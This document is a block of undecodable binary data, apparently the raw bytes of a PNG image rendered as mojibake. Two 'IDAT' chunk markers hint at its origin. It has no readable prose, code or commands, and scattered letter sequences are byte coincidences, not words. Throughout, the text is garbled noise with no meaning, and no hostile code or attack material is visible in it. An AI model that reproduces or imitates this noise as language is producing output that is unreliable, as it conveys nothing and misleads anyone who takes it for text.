hd1D‰B™?TH£Ò‰=¤hëä‘öÂ[¼Ìë-÷zŠ_}àYó~8B!„ BC^Á´ýIHÓ.)¤°=mb ½Ìo|Û"©åƒz}àõÖ¾!„28ûŽÁÙÀ–·µ|I©’ÝEÖ€ `]¼¾ ¸+®ÄíêLv…< ‡«ÆôªÅ<+!„r ¡‡42ÊÖRimZR|òà!ŒÂ^%-¯z9‘t°¼qÏG!„x¨Æ %äQ·†< Ç'€ÛÛ…6’»Û†|¦¾X׋¤gïšë³B!’µá!)Ÿ§LI!5ÄŽ%?|+ެÉÊ“2e»- ª¶—b®påWÏói !„=¤ñèÇæPE:WøÀß¶|ÊQ°ŽÜyG”±6÷ê2™^B!d¶ÐC/¬H>éÜ£O·ÇbiÇÛHÁ7jÇ6’óôÞp'WÍõq !„kj[¿Ví!…ŸÞÂh[쀻íWÃ5½¥ÔôŸlåÚ=à¬>!„rà¡B›¿ôµ‹†*¤‹{cßh''’£S¾µe¬B™)TH“à¤L?§ŒßéÀ*²æŽ-±œ­éÓ±{•yßáú8{&ÏD!„*¤É¸h‹p›Ãˆ„¡pQ¥]Ô÷¸•GEö·ÓI¥Ì'B!„L ײMˆÛÔöDju›;Žç $é ‘T²—!„25¨¦‚ÖI eÛ‰RSìæÖ…µ‰”6âŽ1„BȬ Bš"A'¡Óð«÷µ6rulY!A‰$C‰B™THSg3~ÛE±“£WVHRA½ ¼ ø½> !„rP¡Bš5±£H'>´B…TG$1ÐF!„Ì*¤YÓð )DÖ¤‡”•GÖ¯1Ô")œüšW]ÿ—¨ÄÝ~uH!„¬4!æÀ«{½Nj‰¥þƒ²BZ6r¯¯;ÝÊ-JºbÝpÆ¢™BÙßÐCšɶkÁIÒIHGÖÜë[»â­Kv|ƒ=±=œ;^¬/_À³B!+Òh© $™„¤ÑÛ˜¼ ¸ÃØ'M%¤“ô" œ;G$„BV *¤9`”<êÖØX͉¤Ow*y´ã÷* ñµ^,‚HjÏÞ>óG$„BV æ!͇_ˆmNÙ”XÖuà/Ûü¶n;b·±»mG)$ùöààð¶ù=+!„²ÿ¡‡4ºj7’ Âgîî¶”<’õ'»‘Ô6DèB!#°¶è¾ <@Ëb€5` øcà[À1_ ’t¤\ªSÛ¿ö|#.жœ \5¿Ç%„Bö9ôæFX‹m¤ì"á§wGsÚHHQ`©`#n“6!„2ôæÆõÀ÷Àx)«œåó>_K’4:ÊFjÖ»GkÂFr¯'WÎû¡ !„ýIcÑ8P„ôêl*’þúÝqp­éߺ£¡hdõú¸>pöL‹BY9e›'WžàÃm$‰ûíÀ=JÉ› ¨é}K*À_•-¿D!„zHóçŸ0ï%DZØ.J õâ2ÜIIîD$YñŠB\B!)ôÂ&àDoüäγ‹×ÚbaI!%ûÝRB!cBil›~ÿÚ°‹-üî¶Û"o©oWÒó‰Þ%I¾œüzéüžBÙ·ÐCZ8›êÊé@Ë—8êÆ{•t+ClŽ ‘D!„ZP!-!-´cm¤ClƒœŠ$B!dB¨–P⨓ ±eå‘­ÔC¦pN!„kÉî"ƒrˆÍý*µHz%° õÅÚB*…âÞ4€ÌÿQ !„å„ i9i ÷¨]NÓ®æíÀÝ~ï[]8 o£ÛÎÀ9óx>B!d¹aVÊrr°íÍž–p}JªÈëþØÖßî¶Ô¶n;Þ=Ò ©/öq{ý\—BY2è!-'IRÅN·¹iɧ€{üÆ·zËÛ¦(ªÔÚ(&'’ž ¼c~K!„,¬¹œ¼€=C‘ énàNà(pØò»—ìøRÝn§[m,…q- œ6ÛG$„B–zHKKKìC2T'…Ï|¸8êí"i…]o;¢º’ôz€6„½D!„Pè!-- ´ê)$ù™{€c^mÇæÐŽßÏDj&yôD›N3=æOI!„,%ô–™¦Ï›(›Š~úà[ñ®·M•ÔQ6’ÌцØï¶k&B!äAi™ù¯lPi#II&ei[ìƒÛŠ_Ýç“ÒJA‡õ3gþ”„BÈòAiÉiy©‘SHR6]Ü« ¤¦ÐF‰{Ôõ Ö”»Èl$B!zHKÎÕÀ•¾*RÀxÙÇ•”ÚZ¢Vä Þ®DcÅ kmB9pÐCÚlN ¸¹ãÀ±œŠhT=nV+Åí&„BV*¤}DÐIFè¤Јk5…H 1µ’< ««B!{P!í;œNzB|±GÖäVnnÁZyDR’¯M!„8¨ö)×Äo[bû¶n,º• 9‘T*+@!„¨VƒŽWH%´‡¤Ó´³¯5ËyB!+Òj0’^Õ߯TH%yD!„\¨VƒÐöò()œÝUªH¾­@ФK|ûá¿:Ûg"„B­‚•á•ÀQ_9©íOš~![V!ØÖs¯¯[¹%Ú¨ô>0 ÷n#„²’°bäÊà’¤$ gË£_™£ à÷€cÀq` 8Ü+Žã~“mà8p/ðÛ xVB!dÆ0ʶ2t…<’·~9 ¦“Þ ŽÆõ¸CIî¾Xòd¼hçÎïY !„C…´2üà[ÂFêŠuþ%äRµO÷÷Çâ½JByî¶WE=%•@80ÀÛæô¸„BÈ,aÒ*ñ‹B!…×AáÃXÖýñ~ਗGA…£Çìúñ‰s’Ö€#À…s}hB!d0i•x?€B™l,wôGÀQà`+ÞÜm'޲5ÕÅpÞ®!„²ï¡BZ1šjoµ’Ì=Ê-!’´N ©NÎXâê6B!û*¤ãÓB$U~ x¯—GÍò¨¥ ¤Hu "‰BÙßP!­M/’PVH&6¶EîQEˆM‹$Ë#G8c†ÏG!„Ìfj¯$'ù,l—^à„Ñšµ—/ k+‡1üˆBV®ö_I®N:Àš¸hÔcžW•Lj¹EjáH¶+1@ÿ6ÔyøÚB~žX[½s !„ý Òª² 8@N…¥¨¸‘µŸß7æ¡AYûMÆ<ÐýÈÚ;“›ó}¥~H ‘Ø-ÖZy¥â“¥–õÇê_ÚO­~hBÈÁ iµÑ:)˜=n²ß«iíçùA¡–n4æ!¬ý¦1ÖÞnÌkÌwŠÖŒµ·•n¯5Px›èŠO–Zžäb~j=7´B!+3µ›À5"pÖ ÐäEˆ°šûéÀÚ›ù^÷Ö˜Z{GÒ´µ·ó wZ¿CuLQ¿>¶{4ö !„¬0ô›¹‹{ ɘÇÄYGð¢G¯Vsko7æ{*òýKªb hè×ë_£?”G„rР‡tÀ‘–Ò^F¶µ_w‘5>5»¤“ZCM¶Ÿ2qjá=$„27¨8‰<ºÁ˜‡Ä‰JP±6Gv÷·Œ€Ø/Âb¿ô“BÈ| B:à„([ßÚëùþ$ɘû[û-c¾ €µw󀌵ß2æ9ÉX{½1¾Xûcžœâ¥˜‹Ö]]Ý'-Vf!_’…u³Ëò&„²ápp±ÖóX çÒÉœ0¬µw0æ;ÂO¬½Ë+¤¨n¤µ7ùïþ0°öïU›?XYx ªþPi™}©R@¶|QÅEÝf©ôÑÐMTQ„²ªð÷ƒ‹µÖ˜GIÉ»GÁìA!/;TT’ éG€.зö¯ŒùqU•Ûª’ܾ4JWgè!-¶B!Kÿq?¸XkyDY!•0J= è:y$Ž^¼P.QHV´öÕy<íl B"„U…yHœ5 Û<5—µYp’—G½X!e=$«%ÇÃ×OùÉ!„  B:àü ðÑ­Äðù' ÷(«J!iµÔˆwØ%„Bi½Q>äÑÉÃÜ£j…äN\Àή›þÑe…E8I†­Éò@…t á,EçB’À‘ÈRA…tp‰ç§ÿ¬= tʮҰ¬îŽ[@Øš@ hú£t€nüê‚qÎsZ6€ à°ŽÊ›1ú’ÝõÅQ]š¡ÔÚH_¯ó'7Ÿ6K !sƒû²‡“5ƒÊœ$#ŽãÀ–FáØGL-q„ërF ezÀY{W)‰Ôp°-Œ¤º5ýõŠêsk³t#BÈÜ B"ŽK½ÊéçDÒnAH/Þ Sò¨©äQ8šâ¤YX.ç’“ú3P²¬Œ¡‰§(£—¶æV©åY4K‘P!‘ÀÕÀ@KÈãš5„B‚—G;‘ÔÌHm¼ËNáŸûp6h H†BúJõWª£oŽšwŸ›CC‡I„Ìæ!‘„MÀ‰¢&dr\W¨«¥ŽÏ7ê‰ Ý¥bKÕ[ä’ƒKÆ’š@†¢ê4UÚ†o->ë6KÝPð!™5TH$KÐI µÇÈvÙ@jm ›«)Rø—Ý*yÔš`nð÷ÒGÇ˲S§;"d!”þêË‘½TÝàH̡͊‹Óº#!¤*$RÁ&p"àJq±•FråZ¯†<’¯Ñ7ºÎ/ Ó"©#–Ë àÅ Ùçì—ì¢:Ö!dÎP!‘j6Õ•s½#4JÇÝJ…¤å‘žÞXžn¶„< ÙN‰<’¾_à5Ó²(‚\¨Ö C£]æƒ/I›O„Ì*$2*m‘T‘<úe…„’0Æ1`Ë—Hä‘Ì|’õ–‚H2À™€7OsÈ´ iF2´$óÂI)Z''%éÌzå¼þdØZT›¥‹Ù¯Bf•^¼<­ëƒkáH¶§M¶`“µþé¿À˜³Õz…´•ÓFî¼+rÃ{ÊLr·xðöY›úKº*’“¤nšÃ´ÌmV¨fj2¸ÚŸŒJ7VH‰ÔË)•$Í(eÓ'ŽcÀqà8p ØöyâÛ"U|'.G)ÖíøÚ@xþ¬F…,³Ð KØ&å!s€•®ÈûiûÅk]±]‰-ÛH(¤"¹˜Â;Œy>p(¾³ŽŽ©2Kò5»±‰ ºmˆ‹„BÈpè!‘Qé)I†Ûz©W™©½+’žüäož|òÍâ^·ùô#m%Õ)[e'Éa}7ΘÏ0BÙ×ÐC"£òLà7¼s#²9g <¤€“ãy‘dí{ÿø§6kkkë'ô³kkëÆú%—8y¤ /IIæBuã”í>°wƒ6!„ZP!‘1èÅÚ¨‡Ø…o™J ­ÖöÚÚº;õüÇ·ævÛ‰åQ;§º±tmm½r÷·P ©+’Á“ü'®…Öü¥ÈûÅEw¦HRéGWbÔ{ÚWמéëuê ͧÍÒÅ¡-Lq“¸ìÝK[ŲzP!‘±ikõ $ì©¢¿ù;l‡iúçüw±´àöÛoPØ7ÙWg…K…z%sÆuþøJrÏao‹×ãþ¼\ €ç-ºŸ)ÉĬՒ+`]ñ•¡_Gyv¯hjþm–n4´…šÛ³ %{÷i5NȾ€ ‰ŒÍŸOu²&¯“nÜĶÚ[ön {Û'ì©Ö˜_xW]5[–>êú0_ý à‡W•oÄU4[J'uÅB¿×xÉ¢û¼KP£~eQw_H›²åìf'\’:àIdå¡B"“àl¤5ÿÖì©ë7wËɽeÕ³æ\ƒß ðÒÄÏHöÇÕÛ›èÈZâeEÒ s—J¶ÔÜ#½%˲lî[=Ýj1t†®}ºÈ¢Úz£¡®RxMì¥éÆãYaø_™õ"ÉmÀâ¶M÷iÖ‰Ô+ñåk¨¶ý;¡ÙùjÚ[@'NÇv'ý¸`·,¥=6€õÜë!à°}ã”Fà³ØõÊ:Àÿ7¥6Gb'·‹>º¹}å¾u˜çæ¾¥ ¾”‡”˜£Nó2<%†öjþmV_,íz[}ßê~êO&ÍNò\5¡/E– þ-’©p"°†ãWíVÀÎî0뜤~n‚·ÝßãùÞëåÑŽ÷?’ekAi‘„‚<Ú6&SH7C¬Ÿ„ÖxîGvÙ-êZj¸Zqb»ÖInôo›O¿k*¤¡?:§Vg7ëÏ­ÍšiÑcUË€ IDATèªêŽ•r¡’Q!‘Õ†Q626qÌo2«åQ²ZÉÈpÿü®ÏÞÚÃrÉþ¸I’^ȦClÙd©ºÜê÷Í•²£”ßs.€¹ä÷„}|Kò¨-N’=aô¯a}õÊìŸc<ñ7­•Ð"©Z0²bP!‘i°õ )QEò$ÙºMo2»œà O†ÈZ(ÛÝ:©zÜÒö&(뤿v¼Öù%õÓ[¼›ÕŠ©“G¡úÀò{šqˆ­›mò\ŠË~N$¹Ù®ëôé,û<&5WQeWu•>0ê­—§ÍQï(×Ü dF69ÈðïžLƒÛ€£ÀQ1S'ò(I¶ÎÎÑ þ:8\ðr`Kímâ­PH¨ ±^*ÄM[YA!ää"e÷x“&É€–ç%KÆí¾2»üž»¼­µ£ ¤D'µc…¤E’ãs?à3èmJ)K&”*¹¥¤%Ý`öz6›'{}ÎmV„´ô˜T„,“š¶%ß2‰4è!‘ip\í0›ˆ¤dÿ4m#­ /uÜŽ2ÙíØIêzÏC¯_C9Äàµ~'½¾Nç·momç„‘Ž^es¬\N.šö ï¨ÚâÍ‚‡ÔQ Iý Þß·œ\8íÞ§þ’®Š…îÉŠô o´À6+„Buð«f#Õ$_ þÓT'd¿À?q217G±·~­©fíìþiR$­y #ÎI:ÿæöÇm)U$iëþîÑ{Õ.oI¤¬«| 3ýWJëç¥ø¨Îï9 Üx×Tý1â;J½µ•†Ó‡ë[_ ½ýûçMµÃ)t æÏòùò÷(è!‘‰ÑÚHÛHÝØÈºb]T 8')Ÿ¦=¨ìA”lôq`ÛwQ†“òDÓ¼$N‚.É#éŒimÌ1wòÜ©.ÛŠ ¤R'Û9IÆÚ’ý}CåñÎôºJ–ŠBFbÕ–®yó%add·—ÝÉùÁ^Jœ ¿žùþ{câãS>þwÜKеãÛNÜãñ±íÜS%0éáåNB4°ëËL…›†9[Ù|)­œ²Å6Ã97÷%„hè!‘ÉØ*È#©"¤u$ƒQ R!LÙÕŽQ‚~—7ã‰dîQK´… äºõ[¸âA»Â.xXϸ¸ž=#m$ã÷$½éå÷AË p¥£ú&k‘kG!ÑI„rp¡éJ&à*/B¶ËNR§¥ãVP…Efëq2Œ|}ÃÏ}n«­‰$¤ ©$Z@7ž»—KÞ‰#{a}›ÓÏ{­Ê@ʆ®z^%ù=‡€ûošxܯP5Úñpg %C/S‘Í´Ä63Nˆ†d© ‡D&@K"9MëH •Rób§öª ±…MKtÏDoxÃî–!Aö´c1äD8÷¥ð’3bgLg@›8¿G>óTbm¥Ø™÷¤®fÒ°ÏK¶“ D!THd¼œ¬óòB×-J*÷–Ý•PÍB:wöÓî¸8N oetÒ-¿-ä™R²Žw?VHîq~ë-0À«¡ B%±*WÌà/k‹i*m$ÅÝÐÑGî°HyT±ÓEuE¢Rk#}½Ž‡1Ÿ6K'a¤zHò­þÐé!*$2É4&h)ê¸CfçK'VŠ$Y)HZùó{ÎÙËØÖ)äm±¾­ŸIÀg}8ï?‹ÐÕ V‰6²¹ëEN½ÿý-`­ÆÌZ ¼÷.ÝélȯŽBÒ¯¡{ ˜“‰9[¢°ºÎäЯ£<»×ÙFcnmΡxÏ9iÈvA…‚–ÝJ…tÈ«¨¢ò€~˜ s(ûñÛË·ßí·« â4b«VHÙqÇÂERB²ÍªœòµJ¨¦´Sì$FȬÛ,]Lü›‘‚tõû9õ,(BöTHdºqúQ;IýBœ' F•¦iùÓ” “BÉÓKýÉå¹ÝEš@3*©U‘[õÊNRØÊÌýôôÏá‚“‡É£]UXW!D’(P™,[댒¦]w,•BByn®/G’Ìâi¥<Ϻ͊‹É• eFTöâH]ÍÆÑf1$di¡B"ЋgêŽp’äB¶¬NZ‹¬“×w_¯+KNœTyv®O­\ˆ­‰[_»·QG)²¦Ë@‘$ $ëÿ»±B$í¾GNEsÌžBªm#­³ă1‡Œ Iª9m#U‡ØªåQøÅ|Eí,µpxÖX7óc¹2sk³þä’ºD M²ô¬z‹\ª%²òP!‘ 8x‰õ$kÙ¤‹1‹£"éâkãHX¢‚Zy=`€Æíê=@Ú@go7‘¤„I=¥’zÔAAˆ¤ç_ŠóTÙ0údW!Øðºç Íæ(ƒÞÏ(C›¥5„:¸Qv¼tœ´€1ìI©(7"®lÁ<ö'©¹Šjhi }³„mf¿.Ç'{q¤:˜‘M2THd2z9¡/¥Ò$VEøç÷£·¨MBšbï³01KWç€^å›èÄò§tqÃyU[ÐJyÔ‰Rk¨^!DÒ®7SòvtCç´Éê!¼2®Ú¤ER/§ŠôèC½à·cq™˜„Ùß‚üs&x(@xÒöȦ?Wç —R˜Ý‡K_ÏÞ}m–.ê¯gï^1J£B‘D,ü£'óKªTaõÖ bww|æ¨/½ç©ÔQá®ðê0ÀyÀÇ€{ýf(­]Áô¥·¤»Ð–Öù'ÖQb#mÄu¬« RÞr’ù¡u±›Çpx⊑N¶ ò¨3l3»†/.•tõªþd2@ÒÃK¶1 “ñëk>ÀŒ&Ý}V›Û×—–U}.²O¡‡D&¦;úW¤‡ô×=` 8.Ê<¶âWwÒÍMÌ!}Úñëj_~KT8[W[lÅ1+­ÂNk¿¾ðJ¼á”ÊÌžiýëo½M7È¥zUã:Ó½úªŒ å‘®•üœ,;¸hJÏ8³˜_—°MÊBæ@cøG©æC^@¥²¤Û[ÌîÄGÓ/Ú:In}šûn¸,^–ÖÞý¶öÂ!M¹Ô?Qቤ*‚I{ ñ:ã2oõ¾bITG5„Hj#™+³™ªÕä?Ýö¿Äl=!„ì3è!‘iÐåO)£œHÒûËÊ[W‰áÖ’òW:Qꌞ͵ԮQƒ:KFéŸ$_{ò[¸w+Þ‰¥ÎÚ¢Ä@úx®vTvŸþ-ôs¿ O<¸`JI!‹™îœ:È úonñ9CÒ1jÆç2Ö“+t´ç³~ª¾%²‰*ìVlõcI”褒 $å‘’DÉ7§ø_ÜGü h'©‹¤5æ­ò«´Ý²‡‹µuÆŠ¼BÈrA‰L‰Ÿø¦àÒ”1v„âцÌAN’ƒœ( Ì‚Hê¿æAÒ±¶cí¹I(-FÝXië( ±Id mO9éÄ#wÒÖ€7O6Ê ®îÑZm')DÖ\¯> l©ôõ¡R8 ¾Œ¦IÏΟêÃBÈ\¡B"Sâ2à ^$•H”Ãg¯Ëm1«ãarVîı6xy´«k^ó ¿rÂèîÞÀD)GíÜDß1Ä–H T?él¬ K¦nÙþð$¯½Ö|o*H ¤-¥JujvÅîo½Ü/Âõ¡O‰²ß¡B"ÓãÀ‰¾^v@ǧö ¤m%’9;ÙwLÚHò^òÝŸ Âh÷ jÉ£¡›˜UdZ§W²Å<š…§r…ß}%q’’.+té}À±\ýƒ’Bê•ERØ„EY8xË ™Bæ™6aÏ´l¸)Ÿûb.Ä£'l½«F'®Þ¸çšœ{ÛOüòwþUg°+’ÚÎCê”åVOœ”Ü£R”-«™ˆÓ¬ŒÐ.%ù29aÄ»±M•ý„¾ÏH%…”5Y'JF­fbZüeµåêÞóäê(†ë¥ÖFúzz<ói³tqr&Ù‡d¤[ô/”Õ È¾€ ‰Ì¹·l’ý²;eëì`ýVç õŽҙé®^/¸G ‚‡Ô-=ªÞæUÛHÉ?ïÒK­#W›±\8“qÞ#Œ8b%¤»ÞÞ +ç®·”Hª±eC‡Acž¼©þ3$3kvƒúú{©–ö·/MÏu6›[›¥Õi¡š¤ÜöHŒºU\ò­š[Dz$P!‘Yâfí'xÑ.s?¸RÄ×t­ë¦ßl¤ï—GiÍæþ€ìÝA!YÛ Ž4Ñ®n2‘IN÷úPò(A4HÒš—GkÀ;f0¸Y‚N¨ºG²¯Ç RV!u”HÄ£ƒaê²AŒú•úŸŸîÝÒ¦lyêÍÎÙgîdBöTHdö\£/%¦Q²Î¼]#9È(y—mÿüCýÑ‘FãÛ×Ö®l\ŽÎ?dR↠5¥„*÷öüëÅ’ød–§xyñÌŒ¯fsزk³ ©-*w—~YF–Õó¥ÖC§Ø:Ñ79gOØÉé¶9ôFÒ ¯ÕÊRkRÆUÄøJ7"dU¡B" ÁM½:ëHnÅ:T!93ÉÞØy†ß @3ï!%á¶jaÔPz ±Zz÷M@8®vx GXïVûŸ9£a­MEM£Yë¨ÑÁ°ßÔ‡'"™¹åœ­7­&Ù&6{>*³n³t11`²~ÌØAºŠßHÆÏŒ’¨™'THd!t”Q¡3]**9Œ’G÷Ó«a…bÉ*$}ŸlK@ÆCúÀmb_©-¤Hê‰ø”Ë1ÿÀ/ŸÚpŽL…<’¿‹’NE€ÌG<§ÒÑÒäZ_Ž$žÇTfë9´Yq±æëG÷²­M,é¶IÚ$dÎP!‘…ÐUi.úÕ–ƒ;ȹòßb1g¿ x~lN% iPÙS­Š?*62“òBÚÚJõÅV»/üÞ¸c8 º:v¶¤B©NT…“§ ‹dÉ.sksÂ-|s\-’JA@B–*$²:JLT$éIº41ë,!ÀùÀ3D’ñ@œ ýW:4bmÞöµ:÷¨T„º- O÷s:Éq:€¹ïbÖŽU]'÷+èzZ­´‡”ûLLÍePC£]cÈŽ%l³â§³[c·ÉŒl²¯¡B" ¡{HÚ@Êwˆ’ž˜Qô0£¨þ¿Ø&®Sð—­x^Iµ ) ·°>ejžÈÞ¶”½Vý[*U³žÛp‚© CKÙôçRŽ‹NNÒ…yJ_ÏÞ}m–.f¿®S­GíRBéëÙœîj(’Èþ…;×’…ð !’¤žé/úë̳¾ÔEÁ€æèÝ4êØÓFÛ¹µx:§'›îã>¼lùHÜi£wnÚ±¤c;‚N•ä_GžMLr±ôÉä:â鼺Í$Tº¾6K7Ò_/ TÍ.év†²¾˜m³t#B–zHdQt„$¡é/Rˆ-¿ÝÐi°‘J['íýõ½À¶O?Ú‰³yô¹,LÙ/˜INí…­Íæ†ìjEˆ­: H¥ªþEÌ›YÌ»KØ&å!s€ ‰,Š®Z/ ªåÜy’›žÿø _Äõ¦o#j‚¨â– ))Ý­µ‘“Dë>+ªœ>Çl$ÙÛDÉ·Õ!¶†£ŠÀµñ/:œ8Éÿ¢3%³!d±P!‘EñjàY¹âŠ2ý%‹¶(²Òy™¯¶|ë:øI{s«WHÙô£¬$«wk÷(tb 4Ó|½Õ¨S¹K2@(H/ö!E¹¸¯#Rß§—=ð…ù !„ ƒyHdd“zÃÖ˜eŠäµð‡}¹Hª¹È?´º—TQn± &Y­2)˜Ð8‘ôüác6^g€µ•Hí2ÀôeÇÿ\à7㼫¦ˆNº"±É ÄÇ›×BÈè!‘ò^àˆ·u’Wªå‘ñ{½¥Ø€‹ç¸-uuNRÒj8>û à¨wôíœ+# ¤ksúoÃßÏŠ×(0z•eºÃ !µ±;Þïd"}µ¤¸„M%³¿ |uæOO!à‡DË0%«7;1Cœ7jýUoW `¼`Zó „óÝ;‹ƒkÙ“D-éÃý9ñDÒÜ6$9¯2Ùk(r´Ý¯à£À{ í%';~aá ¶‘ú^D>xø”—BF„ ‰,–?vFñN´ifè0[_X·±M±Ç«‰uÒšho7G;»yY[‰¤lˆ­í=$I0lüöEµGcBú@³ÆšAM¢SÀÇ…$ª–Gaˆ Šô¾µ× +p÷¶ŠŠŽŽúõ:…žçÓféâ©~Æ%é$!S„Q6²pšÀ:°>$ÊvÝfZZjð?ŸQ×@Jp"é Bh!^ÅöÙM1µgClòDÔ’BVt/™NdZÒÜfš?~ºn¬&1Œ’A¥vwî¢xÐQ6koô€0°…ýSeW*&æì×âRùšRf>m–n4!¶“í’>!d5 B" çï'{‘”ãÆMìGsÚ¨-¤È›ßL¤Ê­7ìcOé÷»ÿ’ÏÅ.É£>2¶PɘÑ›3} íM³úHmÔ>¤L£ …Ô i äãÀÚ5æÁÖÞì¯Õ¹ôÀT§ä K¦ÒÚìÚ”-O½Ù1°ª´÷’tŒÉa”,—ûõMq¸í¶M\¿¹W£qØòÇq`KÔ'ÚñªxÍÔºõ•¯\bÌZ<ÓkU$Ë8U¬—%µU¶¨Åg„ì«b3q -‘G5ú!Î@ó½â í†ÖC'㊟êPQÍy}nmVßñ€Téä'ÃÛäcÙÎBè!‘%ÁźNÜUíÇ6wõPÈÿiªI6¸GòÄù/,ðº)t«Ñh–÷G«~ê윧ç¤9ÿ/xSä^Õq’ér›®TxH]å!•Æ­1µb°ì¼^S…Øx´ìù¨ÌºÍÒÅĪ©ˆÇ…O†åÐö«;?†þ#dÿB…D–ŠMt½W´í-¢–IMQ‚1©S-‹M>xÛ„ý9ú•¯lW©UiÙõüC÷y èµx’9;»Iýƒ’HÊ&ÈØ*Ë#-’:±B’IZƒ8OËßÕ<¸>Ó›ÚrÄÆ[´N+›gÖmV\L®íXUAý¯d5'²ªP!‘%c[Ú= GÐ$ÚFê{'i}B‘tw±’ûÙ-̺5R£ ‰û^Wt ©¤ÔVhøí{³IZY…Ô­ôJÛ#€kÇ{ªY¤ÅÌ­Íú7 ‰ÒK!ôDZ$%Ö¨w'di¡B"ËÄQŸf”yå,’Iá| 82I Æ{½LÛiá­ò&¯ÕÛtd§¬“dšt !! ¤ßŽ—ãº&BG)¤°ëHHÒ’kú ÎeíWë,˜0Cß,a›Ù¯º L~QF3‡~‘Ùä€@…D–‰m!K*’}Y¢u’›ÍÝ•ÓF($ÉáA!é8QR2;›„„8©\“W¾~"Πˤf©´Ê/[/ª«R”¤eíîöÖ~€1¬µ»!¶$·&ôU‰zrqôדtæäúüÛ,]Ô_¯ìÛ¬UîP$‘ƒYnóA­J)ì&ó¤N2~W¿22· ¥Ö»ªéÔìú!6M6t…%PHŽÍaÐ2¶]~mÇÛ÷Jí¸‹1ðÚ+”¢‚1?àËwB|2?1'ÓvÅÇj^\`›â£:Ε½8‰*}1›öDÍDV *$²4h÷¨”¤ÅIIðòÈͼn-ùéÀ#ue'Nïˆ@ÛHIHP )ë!I‘àW€§ç s»£üòXã;u²ò(k urãSA’“4BjË,fè%l“B„9@…D–ƒâúF%y$JG)$-ÂkxpÞ]iy©“3:"ÄVJB ³{ùÈš<^´£B%‡{ηž7ÉxOƒd}_v…‚ „$$¨!"3‡b‹THd9ØÉÉ#-’*ò¤áåQ‚õ"©.Û±4•yÎ~¦bûpÜ~V…·ZÉ·îiŸ lx½¥ERЕo¼p¼Ñ‰I ¤R´S®ƒ€Üx2!‰²P!‘% +šñÌ[½š>Y/ŸÌ¿2xxW²ò¨î®·sY‚–GS.™–GIêD%‚ ÞÒÛ×µEŠw8Î,ðêÑŸEÒÎÝ%h+%°WËÍlh’BæY²Ëû“|ߊµb‰JfÕ¬Ã4¤+‰»#Ó›£ÿW“„Øñ-Z9m”Ø?ݲ< "éÐ>ü”Ê›î*…äò¶Î¼iÄÇ‘c%—°Õ¯ƒ€œtÝ}µöc¾/Ü#TŒD¡Žb¸žE—R¬þz*ˆói³tq>”ŠU†q9P!‘% Y-žÔ„ìÖŠi “§²èÒ²7‡ãÀÚˆÿá$Òb£,ëIc&¨IëBú$AÊ ´Nrƒx*pÑHcäIºÚ+(¤¡›±ÈÙ÷V1h°öFc4€Ç}k­1?eÌSņnkÿp`}6Ø5¢µü¦÷¥Ù½Îžbsk³t£¹‘½»>!d…¡B"K@…<Ò6„ÎiÑò(kÕú÷¼3`äkhkµÃm:ÄV±?©dÉëέÓ-VB¹E™ÐÓ:# ­£5a ©ë¡VYµâ»ë ›ö®’õóme I©щ¤³jþºbÞë{%[«‰þ… vƒd *¦6(\Üu’¬½Î˜‡M× vѬۜÅFBûaF°¨^27¨Èpv.)YçÞW“¦^äN²q·ZüF9 HçC%!¤A.µd€ ËûµŽÑòHÆûä2´Ò«;)5Þ†øÊØ6R×ß%ip )È D ¬ýcž ¬½2–PÚÈÚ¯…oY{£1ÀÃ÷z6º ’äîd-™Y´Y³ŠÁL™Q¦9!ûFÙÈr0Èŵ‚$¨˜m÷hÂÛp"¥7Ô•¶êD(ÊTÁz|lÀ:p8ì(÷(ÑIò$T_ì+5";}J‘ÔÊUMè‡Ô‡ÃW^àw/‰?~ÜA0c{Ha›µŸ`ÌS¾µŸÝý±y²¯ýˆµÿ¸×„yTˆ¯¹âIÖÞ`ÌC\7¬½9ºŸÊÒŇ’ÀVH‹Î–)š]›¥‹Ù¯‡ˆØx«á²5r`¡B"ËÁyÀ3 Ò«7=Ó™F:h4«ô|àéq¢j8"ÙÄ#y½´ZMÚ:jµžìCbAõ0ô³)]›IÂÐHÏXA+Ž-Žá!=Ù˜ŸU«ÒÆü»p..þ¢½Wc¾ßÚõ¾‘5æA"î¹\·{¿QÖŽi…QúØtÛ¬P$YÉ’Mß®±úîí²Â0ÊF–ùÇXóß^©¤, -¸]0Foê¬ä—$kÖ´FËHRÉÄ«~A •ÒaÒ2Kª«ñ²ªK\—0ŠNÓ‹ö“׊©¨¾7NQ 89Þ³ÍB™A° IDAT LØ&Õ !s€ ‰, M*û¹‚jã&äİ€ór’[6DWœ³’øFI¾Q/–G!ÃÆ$Ž~f(•£¿kãš®HÚ®:^'éÖÂ%õ6 ð¤aò(IÙ–IÙZ*Iy$ݲj7’B"e#Ë„ËF •BýúwýÔ±þ`ðÑÖ¥{W¥HhˆL¨àÓjþ’Uj uZË­J“;Š$Ëö²â±ÊÉ¢EOÉC‚ˆ¸éÈÝØlN9[%_ âDëž ©$3â“óðšÇ0z¾6Ç$„¬>ôÈ2ñi`ذ7ÁóȧŸõ}?Ûë÷Ý,÷_=yïóF…¶Œpmc‡Øü­ïJ'I‡ØŒHYÞ–+–­µQâ!õ}¸ ʪ8ÂØU„Ø"csSaÓK%­º'æöÔÅAÁ7ÒW²$IZ„2*$²dü½I zý¾;à÷tøÙõ“܆x7kÀÛ'éÊå¾+Êe“¡bQÛ»ˆ²˜ºvx¶u/I5ó¤Äé)‘dâÏè“éât’ôx Œ¾; JH7*ýHž$C¤ÃŽ…¶ !¤FÙÈòq9p¢_)ôúýn¿ß v§>'“JÖIGO¥+!f”ìS«cFR$5¼uô~ñ•l½ì® ´i=T­J6rÑ:<$33‘a&iî0,ý(› =PâOR3 I!UP!‘¥Ä+“W=úŽmo÷úýÁ`öµðU“YÞɣ̬7yQ¦#|ëÀ«FJõÂKIH(§Z—d‰_µB ÎMV'-ŠH Y{™1O…"¿>gÌkoJ¾oÌýi*€¬ý¦øØÃXûUõu#>?¼ð.}¤k*NÞfébö» \ÚV*Ú~ÄewdÿB…D–˜MôÑïõûý~?ì™n­…µ»µ ¥NX>=ãÞÀ‰qN¸öþ¼ðué!eµ‘;ÑÉC‰`’Tg#],*^¶Åyð}Ô7ÒÀ"ER$ˆÙ_4æ1âí Æ<ĘIÙ¡ÎdNÝjÌ÷†D(ko2æ(ÏÙuŠG'r$¼z›¥ÕgìÙF%ÛO}BȾƒ ‰,5! )Ä×,ðéCW§âä¯çÖ£Š˜Q5R©”äQ·Ò@r¬Å2( ‡ã7-`+W¡\®¡û ü½øâiÀ3Õv+r3¸gŽûøDW‹˜â5kH–ñ[{«1ß4ÒF è’ÉžeæmÊ–§Þì´ÈVñ^l—*$²Ôì)¤_³—ýÞòRàÅ• 